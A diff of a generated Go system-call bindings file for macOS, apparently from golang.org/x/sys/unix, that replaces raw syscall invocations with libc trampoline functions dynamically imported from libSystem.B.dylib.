-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
